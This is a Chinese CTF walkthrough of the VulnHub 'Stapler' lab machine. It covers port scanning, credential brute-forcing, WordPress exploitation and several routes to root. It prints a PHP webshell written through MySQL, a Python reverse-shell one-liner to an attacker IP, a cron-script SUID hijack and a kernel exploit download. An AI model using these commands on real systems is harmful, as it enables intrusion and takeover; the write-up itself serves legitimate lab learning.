vulnhub靶机:Stapler

article/2025/9/19 0:03:28

文章目录

    • 0x00
    • 0x01 靶机安装
    • 0x02 靶机发现
    • 0x03 端口探测
    • 0x04 信息收集
      • 端口21:FTP服务
      • 端口22:SSH服务
      • 端口80:HTTP服务
      • 端口139:SMB服务
      • 端口666:未知服务
      • 端口3306:MySQL服务
      • 端口12380:HTTP服务
    • 0x05 web渗透
    • 0x06 权限提升
    • 0x07 补充
      • nikto工具扫出https
      • wpscan
      • shell获取②:冰蝎马获取shell
      • shell获取③:利用php-reverse-shell.php获取shell
      • shell获取④:MySQL写马获取shell
      • 提权②:Cron Jobs 提权
      • 提权③:CVE-2016-4557 内核漏洞提权
    • 0x08 总结/收获
    • 0x09 参考文章

0x00

原文链接(个人博客):https://bilala.gitee.io/2022/03/11/Stapler/

0x01 靶机安装

难度定位:简单(https://github.com/Ignitetechnologies/CTF-Difficulty

靶机介绍:https://www.vulnhub.com/entry/stapler-1,150/

–> 作者说至少有两种方法拿到普通权限shell,至少三种方法拿到root权限 <–

❕❕在导入靶机到VMware时会跳出这个报错(不知道导VirtualBOX会不会报

image-20220309174657296

解决方法:编辑Stapler.ovf文件,将文档中所有的Caption替换为ElementName,保存;再删除Stapler.mf文件;再导入即可

0x02 靶机发现

利用nmap工具找到目标靶机的ip

nmap -n -sn 192.168.189.0/24
// -n :不做DNS解析
// -sn :不进行端口扫描

image-20220306214329156

找到靶机IP为192.168.189.130

0x03 端口探测

nmap -sS -sV -O -p- 192.168.189.130
// -sS :使用SYN扫描
// -sV :探测端口服务版本信息
// -O :进行系统探测
// -p :指定端口扫描,如-p 1-1000 ,-p-意为指定所有端口

image-20220306215159468

整理扫描信息得到:

21/tcp    open   ftp         vsftpd 2.0.8 or later
22/tcp    open   ssh         OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
53/tcp    open   domain      dnsmasq 2.75
80/tcp    open   http        PHP cli server 5.5 or later
139/tcp   open   netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
666/tcp   open   doom?
3306/tcp  open   mysql       MySQL 5.7.12-0ubuntu1
12380/tcp open   http        Apache httpd 2.4.18 ((Ubuntu))

0x04 信息收集

端口21:FTP服务

继续利用nmap工具对此端口进行更深的扫描,发现此端口存在匿名登录的漏洞

nmap -sS -sV -O -A -p21 192.168.189.130 // -A :一次扫描包含系统探测、版本探测、脚本扫描和跟踪扫描(全面扫描

image-20220306220505548

利用此漏洞登录进FTP后,发现一条留言,同时其中只有note文件

image-20220306221634338

获取note文件内容,发现也是一条留言

image-20220306223600201

至此,整理一下我们获取到的名字,Elly,John,Harry

将这三个名字作为hydra密码爆破的用户名字典(全大写,全小写,首字母大写,如下

image-20220306224500953

再利用hydra工具对FTP服务进行密码爆破

hydra -L user.txt -e nsr 192.168.189.130 ftp
// -L:指定用户名字典
// -e:还可再选的选项,n:null,空密码试探  s:使用与用户名一样的密码试探  r:reverse,使用用户名逆转的密码试探

image-20220306233313549

将得到的elly:ylle登录进FTP,发现挂载在根目录下

image-20220306234901799

取出其中的passwd文件,查看内容

image-20220306235039853

一行记录对应着一个用户,每行记录被冒号分为7个字段

用户名:口令:用户标识号:组标识号:注释性描述:主目录:登录shell

(具体含义可从参考文章中学习

这里我们选取出有登录shell的用户

cat passwd | grep -E "/bin/sh|/bin/bash|/bin/zsh" | cut -d : -f 1 |tee sshuser.txt

image-20220307000201744

用这个用户字典去继续爆破ftp服务后,发现了SHayslett:SHayslett,登录后发现和elly用户的内容一样,再试探22端口服务

端口22:SSH服务

hydra -L sshuser.txt -e nsr 192.168.189.130 ssh

找到SHayslett:SHayslett,登录后发现一条留言,并且在/var/www目录下发现了https目录

image-20220307144010936

尝试用https访问192.168.189.130(靶机地址),无果,猜测网站没开放在默认端口,这里留个心眼先

端口80:HTTP服务

访问靶机的80端口,跳出404页面,用nikto漏扫工具探测一下

nikto --host http://192.168.189.130/

image-20220307145613874

下载扫出的两个目录并未发现什么有效信息

端口139:SMB服务

SMB服务是一个网络通讯协议,常用于Linux和Windows间的文件共享

enum4linux工具用于枚举Windows和Samba主机中的数据

enum4linux -a 192.168.189.130 | tee smb.txt // -a:使用所有简单枚举

在结果中发现两个可以连接的共享路径

image-20220307151541298

利用smbclient工具连进SMB服务

smbclient -N //192.168.189.130/tmp // -N:空口令登录

image-20220307151813580

在tmp下没发现什么有效信息,用同样方法进入kathy路径,发现三个文件

image-20220307152121717

todo-list.txt中存放一条留言

vsftpd.conf就是vsftpd服务的配置文件

wordpress中就是存放wordpress的源码

端口666:未知服务

对于未知服务,可以尝试用nc去连接

nc 192.168.189.130 666 ,发现是一个压缩包,并且其中还有一个图片

image-20220307152824345

将数据重定向到本地并解压,得到一张图片,打开发现又是一条留言

nc 192.168.189.130 666 > 666 && unzip 666

image-20220307153240534

image-20220307153321259

端口3306:MySQL服务

用超级弱口令工具,用户名导入之前存下的,密码用自带的(当然结果是没有爆出什么

image-20220307154753667

端口12380:HTTP服务

访问端口,就显示coming soon,其他并没有什么能点击的地方

image-20220307155027655

回想起之前SSH连进去后发现的https目录,尝试用https访问,终于发现靶机的web页面

image-20220307193005998

(用nikto工具也是可以扫出是https访问

0x05 web渗透

SSH的时候已经看到了网站的目录了,一个一个访问过去,最后在blogblog路径下发现信息

image-20220307194332234

我们重新ssh进去此目录下查看,在wp-config.php中发现了数据库root登录的账号密码!

image-20220307202741439

连接进数据库发现了wp_users表,里面存放了当前网站的所有用户信息

image-20220307205205890

将其中的账号和密码列导出,再用john工具配合kali自带字典进行爆破

image-20220307211849160

john --wordlist=/usr/share/wordlists/rockyou.txt wp_users.txt 
// rockyou.txt是从rockyou.txt.gz中解压出的,需要用户自行去目录中解压

image-20220307211905412

访问https://192.168.189.130:12380/blogblog/wp-login.php(为什么是这个路径?ssh进去看咯

image-20220307213837562

John:incorrect登录进去,发现正好是管理员(选john是因为他是表中的第一个,没想到正好是admin

image-20220307214221721

在后台到处瞎看,在plugins中发现了可以文件上传的地方,这不用多说了把,该甩shell试试了

image-20220307214835302

到这一步的时候,我人都傻掉了,突然意识到ssh进去的不就是一个shell嘛(有被自己蠢到

0x06 权限提升

那就直接用那个能登录的ssh终端

查看靶机的bash命令历史

cat /home/*/.bash_history | grep -v exit
// -v:不选出所带参数

image-20220307224735684

发现两个新的ssh用户,登录查看权限

image-20220307225123328

image-20220307225259782

peter用户发现具有sudo组权限,sudo -l查看sudo权限

image-20220307234346919

(ALL:ALL) ALL 表示peter可以以(任意用户:任意用户组)运行任意命令

sudo命令详解具体可看这篇:https://www.cnblogs.com/jing99/p/9323080.html

直接运行sudo su - root获取root权限

image-20220308000138393

image-20220308000214051

至此,靶机渗透结束

0x07 补充

从22端口直接入手,发现都可以省去web渗透的过程了,当然拿到flag并不是我们的最终目的,所以我们还要像作者所说那样,找到不止一条通往root权限的道路。那现在就让我们忘掉ssh拿到的shell重新审视这个靶机吧。

nikto工具扫出https

从我们的12380端口开始,当时也提到了可以用nikto工具扫一下,我们来看看扫描结果

nikto --host http://192.168.189.130:12380/

image-20220309180552783

从结果中我们可以看到扫出了SSL证书,说明确实要用https访问,并且结果中还扫出来几个目录

wpscan

访问nikto扫出的几个目录,在blogblog页面底部有显示wordpress,我们可以用wpscan工具(专门用来扫wordpress网站)来扫描这个网站(使用前需要先配置API token

wpscan --url https://192.168.189.130:12380/blogblog/ --enumerate ap --disable-tls-checks --plugins-detection aggressive| tee wpscan.txt
// --enumerate:枚举信息   ap选项:枚举所有插件
// --disable-tls-checks:忽略TLS检查
// --plugins-detection:使用对应的模式枚举插件   aggressive:主动模式

扫描出的插件有四个,我们把关注点放在这个插件上

image-20220309203551717

这个插件有个LFI漏洞,在网上搜到exp,运行后发现报错,原因是SSL: CERTIFICATE_VERIFY_FAILED

解决方法:https://stackoverflow.com/questions/27835619/urllib-and-ssl-certificate-verify-failed-error

(或者直接google、百度搜索解决方法

再次运行后发现没任何回显

image-20220309221344435

回到blogblog主页发现多了一张新图片,查看源码找到图片路径

image-20220309221629697

访问后看不到什么内容,将其下载到本地查看

wget --no-check-certificate https://192.168.189.130:12380/blogblog/wp-content/uploads/130588693.jpeg

image-20220309223025082

cat后发现就是wp-config.php的内容

image-20220309223247290

接下来就是登录数据库了,然后爆出用户密码,登录后台(和前边一样,这里就不赘述了

shell获取②:冰蝎马获取shell

到了后台,我们前边也说到了,可以上传文件,我们这里尝试上传个冰蝎的php马,最终也是在https://192.168.189.130:12380/blogblog/wp-content/uploads/这个目录下找到shell.php

image-20220309223745687

使用冰蝎连接webshell获取shell(默认密码rebeyond

image-20220309224349914

shell获取③:利用php-reverse-shell.php获取shell

文件地址:https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

自定义其中的ip地址(需要反弹的地址)和端口号

image-20220309224944539

文件上传后,在本地监听对应端口,并且在uploads目录下点击该文件,获取到反弹的shell

image-20220309225157859

shell获取④:MySQL写马获取shell

先利用elly:ylle登进ftp,获取apache2/sites-available/default-ssl.conf文件,查看其中内容,发现https路径在/var/www/https

image-20220309230144518

登录进MySQL,写入我们的shell文件

mysql -h192.168.189.130 -uroot -pplbkac
MySQL [(none)]> SELECT "<?php system($_GET['cmd']); ?>" into outfile "/var/www/https/blogblog/wp-content/uploads/mysqlshell.php";

从网页访问这个文件,传入cmd=id发现成功执行命令

image-20220309230704114

接下来就利用cmd调用python命令反弹shell(记得先在本地监听端口

cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.189.129",2334));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

image-20220309231110141

提权②:Cron Jobs 提权

使用任意一种方法获取shell后,在靶机中查找cronjobs定时计划任务

ll /etc/*corn*

image-20220311001158192

最后在/etc/cron.d/logrotate这个文件中发现了以root用户执行的定时任务

image-20220311001617405

该行意思为:每五分钟以root用户执行一次后边的命令,也就是.sh脚本

查看该脚本内容以及权限

image-20220311001923484

脚本权限为rwxrwxrwx,所以我们可以对其任意的修改

echo "cp /bin/bash /tmp/cronroot; chown root:root /tmp/cronroot; chmod u+s /tmp/cronroot" > /usr/local/sbin/cron-logrotate.sh

接下来就是等待五分钟执行定时任务,在/tmp目录下找到生成的文件,并且也具有我们设置的权限rws

image-20220311005118834

直接/tmp/cronroot -p获取root权限(也就是suid提权中的bash -p

image-20220311005236941

提权③:CVE-2016-4557 内核漏洞提权

获取shell后,查看系统内核和发行版信息

uname -a
lsb_release -a

image-20220311003757324

得知内核版本为4.4.0-21-generic,发行版为16.04 LTS ,利用CVE进行提权

在gitee上下载exp的压缩包,并将其解压

wget https://gitee.com/novaiminipekka/exploitdb-bin-sploitsss/raw/master/bin-sploits/39772.zip
unzip 39772.zip

image-20220311004821791

我们需要将其中的exploit.tar上传到靶机中,利用python在kali中起一个http服务

python -m SimpleHTTPServer 8000

image-20220311005601407

在靶机shell中下载exploit.tar,并将其解压

wget http://192.168.189.129:8000/exploit.tar
tar xvf exploit.tar 

image-20220311005819436

最后在ebpf_mapfd_doubleput_exploit/目录下,执行./compile.sh./doubleput命令即可获取root权限

image-20220311010034089

0x08 总结/收获

①:了解了更多的工具

nmap的一些命令,wpscan用来扫wordpress网站,nikto用来当漏扫;还有hydra工具的密码爆破,john工具根据已知密文破解出明文等等

②:了解了一些重要文件

passwd文件存储主机用户信息,/proc/version uname -a lsb_release -a查看系统及内核版本信息;还有wp-config.php中存储wordpress的配置信息(这好像看名字就能知道…)

③:了解了三种提权方法

sudo提权 sudo -l,CronJobs提权 ll /etc/*corn*,CVE-2016-4557提权(4.4.x内核版本,Ubuntu16.04LTS发行版)

0x09 参考文章

nmap的命令详解:https://blog.csdn.net/qq_26090065/article/details/80285088

hydra的命令详解:https://blog.csdn.net/m0_37268841/article/details/99682258

passwd文件:https://www.linuxprobe.com/explain-etc-passwd.html

sudo命令详解:https://www.cnblogs.com/jing99/p/9323080.html

cronjobs提权:https://xz.aliyun.com/t/2401

writeup参考:https://ciphersaw.me/2021/08/29/vulnhub-stapler-1/


http://chatgpt.dhexx.cn/article/9WlWWOhd.shtml

相关文章

实战打靶集锦-006-Stapler

**写在前面&#xff1a;**记录博主的一次打靶经历。 目录 1. 主机发现2. 端口发现3. 服务枚举4. 服务探查4.1 FTP探查4.1.1 匿名登录4.1.2 Elly用户4.1.3 John用户4.1.4 EXP搜索 4.2 dnsmasq探查4.2.1 基础信息获取4.2.2 EXP搜索 4.3 WEB应用探查4.3.1 浏览器访问4.3.2 目录扫描…

Stapler: 1

Stapler: 1 项目地址&#xff1a;https://www.vulnhub.com/entry/stapler-1,150/ 文章目录 Stapler: 1一、信息收集&#xff1a;1. 靶机地址获取&#xff1a;2. 收集端口服务信息&#xff1a; 二、信息利用1. 针对12380端口进行web目录枚举&#xff1a;1.1 访问&#xff1a;ph…

No.10-VulnHub-Stapler: 1-Walkthrough渗透学习

** VulnHub-Stapler: 1-Walkthrough ** 靶机地址&#xff1a;https://www.vulnhub.com/entry/stapler-1,150/ 靶机难度&#xff1a;中级&#xff08;CTF&#xff09; 靶机发布日期&#xff1a;2016年6月8日 靶机描述&#xff1a;Stapler is reported to be one of several v…

Stapler:1 靶机渗透测试-Vulnhub(STAPLER: 1)

Stapler&#xff1a;1&#xff08;STAPLER: 1&#xff09;靶机渗透-Vulnhub 一、IP端口探测二、端口信息收集1.ftp匿名登录2.OpenSSH漏洞查询3.80端口4.666端口5.SMB枚举6.12380端口 二、边界突破1.video插件文件包含2.修改wordpress数据库管理员密码3.上传webshell 三、提权总…

Stapler#攻略

写在前面&#xff1a;前人栽树后人乘凉&#xff0c;谢谢网上各位大佬的解题思路作为参考学习&#xff1b; 一、实验准备 1、实验地址&#xff1a; Stapler: 1 ~ VulnHub 2、下载之后&#xff0c;本地解压&#xff0c;用VMware运行该虚拟机&#xff1b; ​ 3、设置stapler与攻击…

Stapler-1靶场详细教学(7种漏洞利用+5种提权)

目录 前言 简介 信息收集 0x00 主机发现 0x01 端口探测 0x02 信息收集-1 0x03 信息收集-2 0x04 漏洞利用-1 0x05 信息收集-3 0x06 漏洞利用-2 0x07 漏洞利用-3 0x08漏洞利用-4 0x09 漏洞利用-5 0x10 漏洞利用-6 0x11 漏洞利用-7 提权 0x12 提权-1-内核提权 0…

CSDN开通博客

今天想写博客&#xff0c;却发现没有开通博客页面没有发现验证码&#xff0c; 后来点击验证码输入框&#xff0c;验证码才出来。真是失策&#xff0c;我觉得还是在刷新页面的时候就显示验证码就好了。

【JavaScript 逆向】数美滑块逆向分析

声明 本文章中所有内容仅供学习交流&#xff0c;相关链接做了脱敏处理&#xff0c;若有侵权&#xff0c;请联系我立即删除&#xff01; 案例目标 验证码&#xff1a;aHR0cHM6Ly93d3cuaXNodW1laS5jb20vbmV3L3Byb2R1Y3QvdHcvY29kZQ 以上均做了脱敏处理&#xff0c;Base64 编码及解…

个人总结 - JS逆向解析

目前加密的方式总结有下面几点&#xff1a; 对称加密&#xff08;加密解密密钥相同&#xff09;&#xff1a;DES、DES3、AES 非对称加密&#xff08;分公钥私钥&#xff09;&#xff1a;RSA 信息摘要算法/签名算法&#xff1a;MD5、HMAC、SHA 前端实际使用中MD5、AES、RSA&a…

【JavaScript 逆向】抖店滑块逆向分析

声明 本文章中所有内容仅供学习交流&#xff0c;相关链接做了脱敏处理&#xff0c;若有侵权&#xff0c;请联系我立即删除&#xff01; 案例目标 接口&#xff1a; aHR0cHM6Ly93d3cuZG91eWluLmNvbS9hd2VtZS92MS93ZWIvdXNlci9wcm9maWxlL290aGVyLw 以上均做了脱敏处理&#…

MAC 逆向APK

准备逆向工具 apkTool 、apkTool.jar 、dex2Jar稳定版 &#xff08;不要下载最新的2.0或者2.1 最新的dex2jar 运行会报错&#xff09;、JUI 查看代码结构 &#xff08;1&#xff09; apkTool 、apkTool.jar&#xff1a;Apktool - How to Install 上面这段话是&#xff1…

java逆向_Java逆向入门(一)

Java是一门"半编译半解释"型语言.通过使用jdk提供的javac编译器可以将Java源码编译为Java虚拟机(Java Virtual Machine, JVM)可读的字节码(bytecode),即*.class文件. 学习字节码可以使你更好的理解Java虚拟机的行为,甚至对学习其它基于Java虚拟机的语言(如:Scala,Clo…

Android逆向基础——APK的格式

Android 安装包常以apk&#xff08;android Package&#xff09;、xapk为后缀&#xff0c;本质是一个压缩包&#xff0c;包内存存放运行着应用程序安装必要的所有资源、代码。可直接修改后缀为zip解包。 解包后目录大致如下&#xff1a; assets 资源文件&#xff0c;通过cont…

JS逆向笔记-记录某测试论坛的js逆向练习

这个网站应该是专门练习的&#xff0c;因为有个地方说不太通&#xff0c;在此只能算是练习&#xff0c;记录下&#xff0c;方便以后进行查阅。 首先访问主页&#xff1a; 他会设置一个cookie值&#xff0c;并且会把加密的salt 带出来。还有个叫lt的东西也会用html的形式传出来。…

Matlab逆向归纳法,逆向归纳法

逆向归纳法(backward induction)是求解动态博弈均衡的方法 [编辑] 什么是逆向归纳法 逆向归纳法(backward induction)是求解动态博弈均衡的方法。所谓动态博弈是指博弈参与人的行动存在着先后次序&#xff0c;并且后行动的参与人能够观察到前面的行动。逆向归纳法在逻辑上是严密…

逆向工程

逆向工程 数据库部分逆向工程说明导入文件 reverseProject添加相应jar包修改这个工程三个 .xml 文件都要修改的地方修改generatorConfig.xml文件 工程终点-运行GeneratorSqlMap.java文件 在使用mybatis时需要根据数据表创建实体类&#xff0c;pojo类的映射文件以及sql语句和Dao…

逆向 实战

逆向实操 汇编 《汇编语言》,王爽 《天书夜读》邵坚磊等 《Intel汇编指令集手册》 基础 学习汇编的原则 不推荐写纯汇编程序,一般都是通过_asm{}方式嵌入部分汇编代码学习汇编的目的是:解底层&#xff0c;调试&#xff0c;逆向分.c-编译->.s-汇编→.o(linux平台)/.obj(wi…

微信逆向分析(一)——逆向分析的原理

逆向的简单理解 正向开发&#xff0c;是先写代码&#xff0c;再编译成软件。而逆向分析&#xff0c;到手的只有软件。从软件入手&#xff0c;推测对应的代码&#xff0c;需要了解一下编译之后的软件是怎么跑起来的。 软件运行过程 1、软件加载到内存。 2、CPU读取内存的指令…

【JavaScript 逆向】网易易盾滑块逆向分析

声明 本文章中所有内容仅供学习交流&#xff0c;相关链接做了脱敏处理&#xff0c;若有侵权&#xff0c;请联系我立即删除&#xff01; 案例目标 验证码&#xff1a;aHR0cHM6Ly9kdW4uMTYzLmNvbS90cmlhbC9qaWdzYXc 以上均做了脱敏处理&#xff0c;Base64 编码及解码方式&#xf…

【JavaScript 逆向】今日头条 jsvmp,_signature 参数分析

前言 现在一些网站对 JavaScript 代码采取了一定的保护措施&#xff0c;比如变量名混淆、执行逻辑混淆、反调试、核心逻辑加密等&#xff0c;有的还对数据接口进行了加密&#xff0c;这次案例是通过补环境过 jsvmp。 声明 本文章中所有内容仅供学习交流&#xff0c;相关链接…